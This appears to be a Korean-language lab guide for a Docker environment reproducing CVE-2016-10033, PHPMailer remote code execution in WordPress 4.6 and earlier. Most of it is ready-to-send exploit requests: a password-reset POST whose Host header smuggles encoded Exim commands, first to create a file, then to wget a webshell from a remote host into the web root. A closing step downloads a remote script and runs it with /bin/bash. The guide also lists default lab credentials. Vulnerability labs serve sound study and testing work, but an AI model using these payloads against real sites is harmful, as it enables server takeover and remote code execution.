
Docker 기반의 랩 환경으로, WordPress <= 4.6에서 PHPMailer를 통한 원격 코드 실행 (CVE-2016-10033)을 구현합니다. PoC, 웹쉘 업로드 및 리버스 셸 페이로드를 포함합니다.
WordPress는 PHP 언어로 개발된 블로그 플랫폼으로, 사용자는 PHP와 MySQL 데이터베이스를 지원하는 서버에 자신만의 웹사이트를 구축할 수 있습니다. 또한 WordPress를 콘텐츠 관리 시스템(CMS)으로 사용할 수도 있습니다. WordPress는 PHPMailer 구성 요소를 사용하여 사용자에게 이메일을 전송합니다. PHPMailer(버전 < 5.2.18)에는 원격 명령 실행 취약점이 존재합니다. 공격자는 교묘하게 악의적인 이메일 주소를 구성하여 임의 파일을 작성하고 원격 명령 실행을 유발할 수 있습니다.
WordPress <= 4.6
| 유형 | 사용자명 | 비밀번호 |
|---|
| Mysql | root | root |
| /wp-admin/ | admin | admin123 |
$ docker pull medicean/vulapps:w_wordpress_6
$ docker run -d -p 8000:80 medicean/vulapps:w_wordpress_6
-p 8000:80앞의 8000은 호스트 머신의 포트를 나타내며 임의로 지정할 수 있습니다.
http://127.0.0.1:8000에 접속하여 WordPress 메인 화면이 보이면 시작 성공입니다.
대상 주소가 http://127.0.0.1:8000/ 인 경우:
POST /wp-login.php?action=lostpassword HTTP/1.1
Host: target(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}var${substr{0}{1}{$spool_directory}}www${substr{0}{1}{$spool_directory}}html${substr{0}{1}{$spool_directory}}vuln}} null)
Connection: close
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: */*
Content-Length: 56
Content-Type: application/x-www-form-urlencoded
wp-submit=Get+New+Password&redirect_to=&user_login=admin
응답 상태 코드가 200이면 /var/www/html/vuln 파일이 성공적으로 생성되었음을 의미합니다.
요청을 보내기 전에 해당 주소에 접속하면 404가 표시됩니다.
아이디어: 원격 HTTP 서버에 텍스트 파일을 만들고 wget을 통해 대상 머신에 다운로드합니다.
명령 실행이 가능한데 WebShell을 전송할 필요는 없습니다.
/usr/bin/wget --output-document /var/www/html/webshell.php raw.githubusercontent.com/medicean/vulapps/master/w/wordpress/6/webshell.php
참고:
- 원격 URL에
http://를 포함하지 마세요.- 모든 문자는 소문자여야 합니다.
- 모든
/는${substr{0}{1}{$spool_directory}}로 대체합니다.- 모든 공백은
${substr{10}{1}{$tod_log}}로 대체합니다.
요청은 다음과 같습니다 (실제 상황에 따라 user_login을 변경, 기본값은 admin):
POST /wp-login.php?action=lostpassword HTTP/1.1
Host: target(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}wget${substr{10}{1}{$tod_log}}--output-document${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}var${substr{0}{1}{$spool_directory}}www${substr{0}{1}{$spool_directory}}html${substr{0}{1}{$spool_directory}}webshell.php${substr{10}{1}{$tod_log}}raw.githubusercontent.com${substr{0}{1}{$spool_directory}}medicean${substr{0}{1}{$spool_directory}}vulapps${substr{0}{1}{$spool_directory}}master${substr{0}{1}{$spool_directory}}w${substr{0}{1}{$spool_directory}}wordpress${substr{0}{1}{$spool_directory}}6${substr{0}{1}{$spool_directory}}webshell.php}} null)
Connection: close
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: */*
Content-Length: 56
Content-Type: application/x-www-form-urlencoded
wp-submit=Get+New+Password&redirect_to=&user_login=admin
원격 텍스트 파일 내용이 bash 스크립트인 경우, 대상에 다운로드한 후 /bin/bash로 직접 실행할 수 있습니다.
/usr/bin/wget --output-document /tmp/rce example.com/1.txt
/bin/bash /tmp/rce